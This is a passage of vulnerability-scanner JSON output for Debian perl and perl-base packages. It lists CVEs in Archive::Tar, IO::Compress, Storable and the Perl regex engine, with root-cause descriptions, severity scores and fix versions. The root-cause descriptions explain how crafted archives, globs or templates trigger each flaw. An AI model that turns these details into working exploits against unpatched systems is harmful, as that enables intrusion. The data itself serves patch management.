"CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:af991bb6598e1402e016f867b2f8e76b89acd6d138519c9da0d0c5f598c91faa", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e1de1cd065f507cd70171bc7863772be9c197fa89d2ae311719f7d265bf994a6", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3341e3e49aa63066edaee7ceb346e9bef4f20f19b98e75b5f4c8b040597c0f5f", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6ee87382da7237aae592dc14f3167045a3761f50293795b49a4d05a12cebea04", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:49c7d39c19c78ebd18dc57d97b054774b383539aca079cc6da0448f0c9f03d03", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5283ddca9cb30296a4da3e66d95d51ba7133fad0065f462b152bb3b7b4c3aca2", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a12cfde66317bcfe9500fcdc777a0a5e0b38fba33fb349a5745bd520e4c8fb1", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-13221", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e56b2a32cbc475be2804c11c5578c01dead8fef60caab3f2d7db86f688326fc8", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8f8d712a7946da46d106722e5bb0e1196562bfc319cf8e30b1d42f1bedce3ee4", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:65be11c4dda9e3d2fb122c4a792a30f96ba62121409790834bf8cfdc31be7308", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1f626a36a389be91358bde7683e27864346f5560828a193df0cca601074af0d7", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted 